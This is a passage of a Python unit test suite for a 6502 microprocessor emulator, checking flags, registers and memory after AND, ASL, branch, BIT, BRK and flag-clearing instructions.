self.assertEqual(0xAA, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) # AND (Absolute) def test_and_zp_all_zeros_setting_zero_flag(self): mpu = self._make_mpu() mpu.a = 0xFF # $0000 AND $0010 self._write(mpu.memory, 0x0000, (0x25, 0x10)) mpu.memory[0x0010] = 0x00 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_and_zp_zeros_and_ones_setting_negative_flag(self): mpu = self._make_mpu() mpu.a = 0xFF # $0000 AND $0010 self._write(mpu.memory, 0x0000, (0x25, 0x10)) mpu.memory[0x0010] = 0xAA mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xAA, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) # AND (Immediate) def test_and_immediate_all_zeros_setting_zero_flag(self): mpu = self._make_mpu() mpu.a = 0xFF # $0000 AND #$00 self._write(mpu.memory, 0x0000, (0x29, 0x00)) mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_and_immediate_zeros_and_ones_setting_negative_flag(self): mpu = self._make_mpu() mpu.a = 0xFF # $0000 AND #$AA self._write(mpu.memory, 0x0000, (0x29, 0xAA)) mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xAA, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) # AND (Absolute, X-Indexed) def test_and_abs_x_all_zeros_setting_zero_flag(self): mpu = self._make_mpu() mpu.a = 0xFF mpu.x = 0x03 # $0000 AND $ABCD,X self._write(mpu.memory, 0x0000, (0x3d, 0xCD, 0xAB)) mpu.memory[0xABCD + mpu.x] = 0x00 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_and_abs_x_zeros_and_ones_setting_negative_flag(self): mpu = self._make_mpu() mpu.a = 0xFF mpu.x = 0x03 # $0000 AND $ABCD,X self._write(mpu.memory, 0x0000, (0x3d, 0xCD, 0xAB)) mpu.memory[0xABCD + mpu.x] = 0xAA mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0xAA, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) # AND (Absolute, Y-Indexed) def test_and_abs_y_all_zeros_setting_zero_flag(self): mpu = self._make_mpu() mpu.a = 0xFF mpu.y = 0x03 # $0000 AND $ABCD,X self._write(mpu.memory, 0x0000, (0x39, 0xCD, 0xAB)) mpu.memory[0xABCD + mpu.y] = 0x00 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_and_abs_y_zeros_and_ones_setting_negative_flag(self): mpu = self._make_mpu() mpu.a = 0xFF mpu.y = 0x03 # $0000 AND $ABCD,X self._write(mpu.memory, 0x0000, (0x39, 0xCD, 0xAB)) mpu.memory[0xABCD + mpu.y] = 0xAA mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0xAA, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) # AND Indirect, Indexed (X) def test_and_ind_indexed_x_all_zeros_setting_zero_flag(self): mpu = self._make_mpu() mpu.a = 0xFF mpu.x = 0x03 # $0000 AND ($0010,X) # $0013 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x21, 0x10)) self._write(mpu.memory, 0x0013, (0xCD, 0xAB)) mpu.memory[0xABCD] = 0x00 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_and_ind_indexed_x_zeros_and_ones_setting_negative_flag(self): mpu = self._make_mpu() mpu.a = 0xFF mpu.x = 0x03 # $0000 AND ($0010,X) # $0013 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x21, 0x10)) self._write(mpu.memory, 0x0013, (0xCD, 0xAB)) mpu.memory[0xABCD] = 0xAA mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xAA, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) # AND Indexed, Indirect (Y) def test_and_indexed_ind_y_all_zeros_setting_zero_flag(self): mpu = self._make_mpu() mpu.a = 0xFF mpu.y = 0x03 # $0000 AND ($0010),Y # $0010 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x31, 0x10)) self._write(mpu.memory, 0x0010, (0xCD, 0xAB)) mpu.memory[0xABCD + mpu.y] = 0x00 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_and_indexed_ind_y_zeros_and_ones_setting_negative_flag(self): mpu = self._make_mpu() mpu.a = 0xFF mpu.y = 0x03 # $0000 AND ($0010),Y # $0010 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x31, 0x10)) self._write(mpu.memory, 0x0010, (0xCD, 0xAB)) mpu.memory[0xABCD + mpu.y] = 0xAA mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xAA, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) # AND Zero Page, X-Indexed def test_and_zp_x_all_zeros_setting_zero_flag(self): mpu = self._make_mpu() mpu.a = 0xFF mpu.x = 0x03 # $0000 AND $0010,X self._write(mpu.memory, 0x0000, (0x35, 0x10)) mpu.memory[0x0010 + mpu.x] = 0x00 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_and_zp_x_all_zeros_and_ones_setting_negative_flag(self): mpu = self._make_mpu() mpu.a = 0xFF mpu.x = 0x03 # $0000 AND $0010,X self._write(mpu.memory, 0x0000, (0x35, 0x10)) mpu.memory[0x0010 + mpu.x] = 0xAA mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xAA, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) # ASL Accumulator def test_asl_accumulator_sets_z_flag(self): mpu = self._make_mpu() mpu.a = 0x00 # $0000 ASL A mpu.memory[0x0000] = 0x0A mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_asl_accumulator_sets_n_flag(self): mpu = self._make_mpu() mpu.a = 0x40 # $0000 ASL A mpu.memory[0x0000] = 0x0A mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0x80, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) def test_asl_accumulator_shifts_out_zero(self): mpu = self._make_mpu() mpu.a = 0x7F # $0000 ASL A mpu.memory[0x0000] = 0x0A mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0xFE, mpu.a) self.assertEqual(0, mpu.p & mpu.CARRY) def test_asl_accumulator_shifts_out_one(self): mpu = self._make_mpu() mpu.a = 0xFF # $0000 ASL A mpu.memory[0x0000] = 0x0A mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0xFE, mpu.a) self.assertEqual(mpu.CARRY, mpu.p & mpu.CARRY) def test_asl_accumulator_80_sets_z_flag(self): mpu = self._make_mpu() mpu.a = 0x80 mpu.p &= ~(mpu.ZERO) # $0000 ASL A mpu.memory[0x0000] = 0x0A mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) # ASL Absolute def test_asl_absolute_sets_z_flag(self): mpu = self._make_mpu() # $0000 ASL $ABCD self._write(mpu.memory, 0x0000, (0x0E, 0xCD, 0xAB)) mpu.memory[0xABCD] = 0x00 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x00, mpu.memory[0xABCD]) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_asl_absolute_sets_n_flag(self): mpu = self._make_mpu() # $0000 ASL $ABCD self._write(mpu.memory, 0x0000, (0x0E, 0xCD, 0xAB)) mpu.memory[0xABCD] = 0x40 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x80, mpu.memory[0xABCD]) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) def test_asl_absolute_shifts_out_zero(self): mpu = self._make_mpu() mpu.a = 0xAA # $0000 ASL $ABCD self._write(mpu.memory, 0x0000, (0x0E, 0xCD, 0xAB)) mpu.memory[0xABCD] = 0x7F mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0xAA, mpu.a) self.assertEqual(0xFE, mpu.memory[0xABCD]) self.assertEqual(0, mpu.p & mpu.CARRY) def test_asl_absolute_shifts_out_one(self): mpu = self._make_mpu() mpu.a = 0xAA # $0000 ASL $ABCD self._write(mpu.memory, 0x0000, (0x0E, 0xCD, 0xAB)) mpu.memory[0xABCD] = 0xFF mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0xAA, mpu.a) self.assertEqual(0xFE, mpu.memory[0xABCD]) self.assertEqual(mpu.CARRY, mpu.p & mpu.CARRY) # ASL Zero Page def test_asl_zp_sets_z_flag(self): mpu = self._make_mpu() # $0000 ASL $0010 self._write(mpu.memory, 0x0000, (0x06, 0x10)) mpu.memory[0x0010] = 0x00 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.memory[0x0010]) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_asl_zp_sets_n_flag(self): mpu = self._make_mpu() # $0000 ASL $0010 self._write(mpu.memory, 0x0000, (0x06, 0x10)) mpu.memory[0x0010] = 0x40 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x80, mpu.memory[0x0010]) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) def test_asl_zp_shifts_out_zero(self): mpu = self._make_mpu() mpu.a = 0xAA # $0000 ASL $0010 self._write(mpu.memory, 0x0000, (0x06, 0x10)) mpu.memory[0x0010] = 0x7F mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xAA, mpu.a) self.assertEqual(0xFE, mpu.memory[0x0010]) self.assertEqual(0, mpu.p & mpu.CARRY) def test_asl_zp_shifts_out_one(self): mpu = self._make_mpu() mpu.a = 0xAA # $0000 ASL $0010 self._write(mpu.memory, 0x0000, (0x06, 0x10)) mpu.memory[0x0010] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xAA, mpu.a) self.assertEqual(0xFE, mpu.memory[0x0010]) self.assertEqual(mpu.CARRY, mpu.p & mpu.CARRY) # ASL Absolute, X-Indexed def test_asl_abs_x_indexed_sets_z_flag(self): mpu = self._make_mpu() mpu.x = 0x03 # $0000 ASL $ABCD,X self._write(mpu.memory, 0x0000, (0x1E, 0xCD, 0xAB)) mpu.memory[0xABCD + mpu.x] = 0x00 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x00, mpu.memory[0xABCD + mpu.x]) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_asl_abs_x_indexed_sets_n_flag(self): mpu = self._make_mpu() mpu.x = 0x03 # $0000 ASL $ABCD,X self._write(mpu.memory, 0x0000, (0x1E, 0xCD, 0xAB)) mpu.memory[0xABCD + mpu.x] = 0x40 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x80, mpu.memory[0xABCD + mpu.x]) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) def test_asl_abs_x_indexed_shifts_out_zero(self): mpu = self._make_mpu() mpu.a = 0xAA mpu.x = 0x03 # $0000 ASL $ABCD,X self._write(mpu.memory, 0x0000, (0x1E, 0xCD, 0xAB)) mpu.memory[0xABCD + mpu.x] = 0x7F mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0xAA, mpu.a) self.assertEqual(0xFE, mpu.memory[0xABCD + mpu.x]) self.assertEqual(0, mpu.p & mpu.CARRY) def test_asl_abs_x_indexed_shifts_out_one(self): mpu = self._make_mpu() mpu.a = 0xAA mpu.x = 0x03 # $0000 ASL $ABCD,X self._write(mpu.memory, 0x0000, (0x1E, 0xCD, 0xAB)) mpu.memory[0xABCD + mpu.x] = 0xFF mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0xAA, mpu.a) self.assertEqual(0xFE, mpu.memory[0xABCD + mpu.x]) self.assertEqual(mpu.CARRY, mpu.p & mpu.CARRY) # ASL Zero Page, X-Indexed def test_asl_zp_x_indexed_sets_z_flag(self): mpu = self._make_mpu() mpu.x = 0x03 # $0000 ASL $0010,X self._write(mpu.memory, 0x0000, (0x16, 0x10)) mpu.memory[0x0010 + mpu.x] = 0x00 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.memory[0x0010 + mpu.x]) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_asl_zp_x_indexed_sets_n_flag(self): mpu = self._make_mpu() mpu.x = 0x03 # $0000 ASL $0010,X self._write(mpu.memory, 0x0000, (0x16, 0x10)) mpu.memory[0x0010 + mpu.x] = 0x40 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x80, mpu.memory[0x0010 + mpu.x]) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) def test_asl_zp_x_indexed_shifts_out_zero(self): mpu = self._make_mpu() mpu.x = 0x03 mpu.a = 0xAA # $0000 ASL $0010,X self._write(mpu.memory, 0x0000, (0x16, 0x10)) mpu.memory[0x0010 + mpu.x] = 0x7F mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xAA, mpu.a) self.assertEqual(0xFE, mpu.memory[0x0010 + mpu.x]) self.assertEqual(0, mpu.p & mpu.CARRY) def test_asl_zp_x_indexed_shifts_out_one(self): mpu = self._make_mpu() mpu.x = 0x03 mpu.a = 0xAA # $0000 ASL $0010,X self._write(mpu.memory, 0x0000, (0x16, 0x10)) mpu.memory[0x0010 + mpu.x] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xAA, mpu.a) self.assertEqual(0xFE, mpu.memory[0x0010 + mpu.x]) self.assertEqual(mpu.CARRY, mpu.p & mpu.CARRY) # BCC def test_bcc_carry_clear_branches_relative_forward(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) # $0000 BCC +6 self._write(mpu.memory, 0x0000, (0x90, 0x06)) mpu.step() self.assertEqual(0x0002 + 0x06, mpu.pc) def test_bcc_carry_clear_branches_relative_backward(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.pc = 0x0050 rel = (0x06 ^ 0xFF + 1) # two's complement of 6 # $0000 BCC -6 self._write(mpu.memory, 0x0050, (0x90, rel)) mpu.step() self.assertEqual(0x0052 + rel, mpu.pc) def test_bcc_carry_set_does_not_branch(self): mpu = self._make_mpu() mpu.p |= mpu.CARRY # $0000 BCC +6 self._write(mpu.memory, 0x0000, (0x90, 0x06)) mpu.step() self.assertEqual(0x0002, mpu.pc) # BCS def test_bcs_carry_set_branches_relative_forward(self): mpu = self._make_mpu() mpu.p |= mpu.CARRY # $0000 BCS +6 self._write(mpu.memory, 0x0000, (0xB0, 0x06)) mpu.step() self.assertEqual(0x0002 + 0x06, mpu.pc) def test_bcs_carry_set_branches_relative_backward(self): mpu = self._make_mpu() mpu.p |= mpu.CARRY mpu.pc = 0x0050 rel = (0x06 ^ 0xFF + 1) # two's complement of 6 # $0000 BCS -6 self._write(mpu.memory, 0x0050, (0xB0, rel)) mpu.step() self.assertEqual(0x0052 + rel, mpu.pc) def test_bcs_carry_clear_does_not_branch(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) # $0000 BCS +6 self._write(mpu.memory, 0x0000, (0xB0, 0x06)) mpu.step() self.assertEqual(0x0002, mpu.pc) # BEQ def test_beq_zero_set_branches_relative_forward(self): mpu = self._make_mpu() mpu.p |= mpu.ZERO # $0000 BEQ +6 self._write(mpu.memory, 0x0000, (0xF0, 0x06)) mpu.step() self.assertEqual(0x0002 + 0x06, mpu.pc) def test_beq_zero_set_branches_relative_backward(self): mpu = self._make_mpu() mpu.p |= mpu.ZERO mpu.pc = 0x0050 rel = (0x06 ^ 0xFF + 1) # two's complement of 6 # $0000 BEQ -6 self._write(mpu.memory, 0x0050, (0xF0, rel)) mpu.step() self.assertEqual(0x0052 + rel, mpu.pc) def test_beq_zero_clear_does_not_branch(self): mpu = self._make_mpu() mpu.p &= ~(mpu.ZERO) # $0000 BEQ +6 self._write(mpu.memory, 0x0000, (0xF0, 0x06)) mpu.step() self.assertEqual(0x0002, mpu.pc) # BIT (Absolute) def test_bit_abs_copies_bit_7_of_memory_to_n_flag_when_0(self): mpu = self._make_mpu() mpu.p &= ~(mpu.NEGATIVE) # $0000 BIT $FEED self._write(mpu.memory, 0x0000, (0x2C, 0xED, 0xFE)) mpu.memory[0xFEED] = 0xFF mpu.a = 0xFF mpu.step() self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) def test_bit_abs_copies_bit_7_of_memory_to_n_flag_when_1(self): mpu = self._make_mpu() mpu.p |= mpu.NEGATIVE # $0000 BIT $FEED self._write(mpu.memory, 0x0000, (0x2C, 0xED, 0xFE)) mpu.memory[0xFEED] = 0x00 mpu.a = 0xFF mpu.step() self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_bit_abs_copies_bit_6_of_memory_to_v_flag_when_0(self): mpu = self._make_mpu() mpu.p &= ~(mpu.OVERFLOW) # $0000 BIT $FEED self._write(mpu.memory, 0x0000, (0x2C, 0xED, 0xFE)) mpu.memory[0xFEED] = 0xFF mpu.a = 0xFF mpu.step() self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) def test_bit_abs_copies_bit_6_of_memory_to_v_flag_when_1(self): mpu = self._make_mpu() mpu.p |= mpu.OVERFLOW # $0000 BIT $FEED self._write(mpu.memory, 0x0000, (0x2C, 0xED, 0xFE)) mpu.memory[0xFEED] = 0x00 mpu.a = 0xFF mpu.step() self.assertEqual(0, mpu.p & mpu.OVERFLOW) def test_bit_abs_stores_result_of_and_in_z_preserves_a_when_1(self): mpu = self._make_mpu() mpu.p &= ~mpu.ZERO # $0000 BIT $FEED self._write(mpu.memory, 0x0000, (0x2C, 0xED, 0xFE)) mpu.memory[0xFEED] = 0x00 mpu.a = 0x01 mpu.step() self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0x01, mpu.a) self.assertEqual(0x00, mpu.memory[0xFEED]) def test_bit_abs_stores_result_of_and_when_nonzero_in_z_preserves_a(self): mpu = self._make_mpu() mpu.p |= mpu.ZERO # $0000 BIT $FEED self._write(mpu.memory, 0x0000, (0x2C, 0xED, 0xFE)) mpu.memory[0xFEED] = 0x01 mpu.a = 0x01 mpu.step() self.assertEqual(0, mpu.p & mpu.ZERO) # result of AND is non-zero self.assertEqual(0x01, mpu.a) self.assertEqual(0x01, mpu.memory[0xFEED]) def test_bit_abs_stores_result_of_and_when_zero_in_z_preserves_a(self): mpu = self._make_mpu() mpu.p &= ~(mpu.ZERO) # $0000 BIT $FEED self._write(mpu.memory, 0x0000, (0x2C, 0xED, 0xFE)) mpu.memory[0xFEED] = 0x00 mpu.a = 0x01 mpu.step() self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) # result of AND is zero self.assertEqual(0x01, mpu.a) self.assertEqual(0x00, mpu.memory[0xFEED]) # BIT (Zero Page) def test_bit_zp_copies_bit_7_of_memory_to_n_flag_when_0(self): mpu = self._make_mpu() mpu.p &= ~(mpu.NEGATIVE) # $0000 BIT $0010 self._write(mpu.memory, 0x0000, (0x24, 0x10)) mpu.memory[0x0010] = 0xFF mpu.a = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(3, mpu.processorCycles) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) def test_bit_zp_copies_bit_7_of_memory_to_n_flag_when_1(self): mpu = self._make_mpu() mpu.p |= mpu.NEGATIVE # $0000 BIT $0010 self._write(mpu.memory, 0x0000, (0x24, 0x10)) mpu.memory[0x0010] = 0x00 mpu.a = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(3, mpu.processorCycles) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_bit_zp_copies_bit_6_of_memory_to_v_flag_when_0(self): mpu = self._make_mpu() mpu.p &= ~(mpu.OVERFLOW) # $0000 BIT $0010 self._write(mpu.memory, 0x0000, (0x24, 0x10)) mpu.memory[0x0010] = 0xFF mpu.a = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(3, mpu.processorCycles) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) def test_bit_zp_copies_bit_6_of_memory_to_v_flag_when_1(self): mpu = self._make_mpu() mpu.p |= mpu.OVERFLOW # $0000 BIT $0010 self._write(mpu.memory, 0x0000, (0x24, 0x10)) mpu.memory[0x0010] = 0x00 mpu.a = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(3, mpu.processorCycles) self.assertEqual(0, mpu.p & mpu.OVERFLOW) def test_bit_zp_stores_result_of_and_in_z_preserves_a_when_1(self): mpu = self._make_mpu() mpu.p &= ~mpu.ZERO # $0000 BIT $0010 self._write(mpu.memory, 0x0000, (0x24, 0x10)) mpu.memory[0x0010] = 0x00 mpu.a = 0x01 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(3, mpu.processorCycles) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0x01, mpu.a) self.assertEqual(0x00, mpu.memory[0x0010]) def test_bit_zp_stores_result_of_and_when_nonzero_in_z_preserves_a(self): mpu = self._make_mpu() mpu.p |= mpu.ZERO # $0000 BIT $0010 self._write(mpu.memory, 0x0000, (0x24, 0x10)) mpu.memory[0x0010] = 0x01 mpu.a = 0x01 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(3, mpu.processorCycles) self.assertEqual(0, mpu.p & mpu.ZERO) # result of AND is non-zero self.assertEqual(0x01, mpu.a) self.assertEqual(0x01, mpu.memory[0x0010]) def test_bit_zp_stores_result_of_and_when_zero_in_z_preserves_a(self): mpu = self._make_mpu() mpu.p &= ~(mpu.ZERO) # $0000 BIT $0010 self._write(mpu.memory, 0x0000, (0x24, 0x10)) mpu.memory[0x0010] = 0x00 mpu.a = 0x01 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(3, mpu.processorCycles) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) # result of AND is zero self.assertEqual(0x01, mpu.a) self.assertEqual(0x00, mpu.memory[0x0010]) # BMI def test_bmi_negative_set_branches_relative_forward(self): mpu = self._make_mpu() mpu.p |= mpu.NEGATIVE # $0000 BMI +06 self._write(mpu.memory, 0x0000, (0x30, 0x06)) mpu.step() self.assertEqual(0x0002 + 0x06, mpu.pc) def test_bmi_negative_set_branches_relative_backward(self): mpu = self._make_mpu() mpu.p |= mpu.NEGATIVE mpu.pc = 0x0050 # $0000 BMI -6 rel = (0x06 ^ 0xFF + 1) # two's complement of 6 self._write(mpu.memory, 0x0050, (0x30, rel)) mpu.step() self.assertEqual(0x0052 + rel, mpu.pc) def test_bmi_negative_clear_does_not_branch(self): mpu = self._make_mpu() mpu.p &= ~(mpu.NEGATIVE) # $0000 BEQ +6 self._write(mpu.memory, 0x0000, (0x30, 0x06)) mpu.step() self.assertEqual(0x0002, mpu.pc) # BNE def test_bne_zero_clear_branches_relative_forward(self): mpu = self._make_mpu() mpu.p &= ~(mpu.ZERO) # $0000 BNE +6 self._write(mpu.memory, 0x0000, (0xD0, 0x06)) mpu.step() self.assertEqual(0x0002 + 0x06, mpu.pc) def test_bne_zero_clear_branches_relative_backward(self): mpu = self._make_mpu() mpu.p &= ~(mpu.ZERO) mpu.pc = 0x0050 # $0050 BNE -6 rel = (0x06 ^ 0xFF + 1) # two's complement of 6 self._write(mpu.memory, 0x0050, (0xD0, rel)) mpu.step() self.assertEqual(0x0052 + rel, mpu.pc) def test_bne_zero_set_does_not_branch(self): mpu = self._make_mpu() mpu.p |= mpu.ZERO # $0000 BNE +6 self._write(mpu.memory, 0x0000, (0xD0, 0x06)) mpu.step() self.assertEqual(0x0002, mpu.pc) # BPL def test_bpl_negative_clear_branches_relative_forward(self): mpu = self._make_mpu() mpu.p &= ~(mpu.NEGATIVE) # $0000 BPL +06 self._write(mpu.memory, 0x0000, (0x10, 0x06)) mpu.step() self.assertEqual(0x0002 + 0x06, mpu.pc) def test_bpl_negative_clear_branches_relative_backward(self): mpu = self._make_mpu() mpu.p &= ~(mpu.NEGATIVE) mpu.pc = 0x0050 # $0050 BPL -6 rel = (0x06 ^ 0xFF + 1) # two's complement of 6 self._write(mpu.memory, 0x0050, (0x10, rel)) mpu.step() self.assertEqual(0x0052 + rel, mpu.pc) def test_bpl_negative_set_does_not_branch(self): mpu = self._make_mpu() mpu.p |= mpu.NEGATIVE # $0000 BPL +6 self._write(mpu.memory, 0x0000, (0x10, 0x06)) mpu.step() self.assertEqual(0x0002, mpu.pc) # BRK def test_brk_pushes_pc_plus_2_and_status_then_sets_pc_to_irq_vector(self): mpu = self._make_mpu() mpu.p = mpu.UNUSED self._write(mpu.memory, 0xFFFE, (0xCD, 0xAB)) # $C000 BRK mpu.memory[0xC000] = 0x00 mpu.pc = 0xC000 mpu.step() self.assertEqual(0xABCD, mpu.pc) self.assertEqual(0xC0, mpu.memory[0x1FF]) # PCH self.assertEqual(0x02, mpu.memory[0x1FE]) # PCL self.assertEqual(mpu.BREAK | mpu.UNUSED, mpu.memory[0x1FD]) # Status self.assertEqual(0xFC, mpu.sp) self.assertEqual(mpu.BREAK | mpu.UNUSED | mpu.INTERRUPT, mpu.p) # BVC def test_bvc_overflow_clear_branches_relative_forward(self): mpu = self._make_mpu() mpu.p &= ~(mpu.OVERFLOW) # $0000 BVC +6 self._write(mpu.memory, 0x0000, (0x50, 0x06)) mpu.step() self.assertEqual(0x0002 + 0x06, mpu.pc) def test_bvc_overflow_clear_branches_relative_backward(self): mpu = self._make_mpu() mpu.p &= ~(mpu.OVERFLOW) mpu.pc = 0x0050 rel = (0x06 ^ 0xFF + 1) # two's complement of 6 # $0050 BVC -6 self._write(mpu.memory, 0x0050, (0x50, rel)) mpu.step() self.assertEqual(0x0052 + rel, mpu.pc) def test_bvc_overflow_set_does_not_branch(self): mpu = self._make_mpu() mpu.p |= mpu.OVERFLOW # $0000 BVC +6 self._write(mpu.memory, 0x0000, (0x50, 0x06)) mpu.step() self.assertEqual(0x0002, mpu.pc) # BVS def test_bvs_overflow_set_branches_relative_forward(self): mpu = self._make_mpu() mpu.p |= mpu.OVERFLOW # $0000 BVS +6 self._write(mpu.memory, 0x0000, (0x70, 0x06)) mpu.step() self.assertEqual(0x0002 + 0x06, mpu.pc) def test_bvs_overflow_set_branches_relative_backward(self): mpu = self._make_mpu() mpu.p |= mpu.OVERFLOW mpu.pc = 0x0050 rel = (0x06 ^ 0xFF + 1) # two's complement of 6 # $0050 BVS -6 self._write(mpu.memory, 0x0050, (0x70, rel)) mpu.step() self.assertEqual(0x0052 + rel, mpu.pc) def test_bvs_overflow_clear_does_not_branch(self): mpu = self._make_mpu() mpu.p &= ~(mpu.OVERFLOW) # $0000 BVS +6 self._write(mpu.memory, 0x0000, (0x70, 0x06)) mpu.step() self.assertEqual(0x0002, mpu.pc) # CLC def test_clc_clears_carry_flag(self): mpu = self._make_mpu() mpu.p |= mpu.CARRY # $0000 CLC mpu.memory[0x0000] = 0x18 mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0, mpu.p & mpu.CARRY) # CLD def test_cld_clears_decimal_flag(self): mpu = self._make_mpu() mpu.p |= mpu.DECIMAL # $0000 CLD mpu.memory[0x0000] = 0xD8 mpu.step() self.assertEqual(0x0001, mpu.pc) self.assertEqual(0, mpu.p & mpu.DECIMAL) # CLI def test_cli_clears_interrupt_mask_flag(self): mpu = self._make_mpu() mpu.p |= mpu.INTERRUPT # $0000 CLI 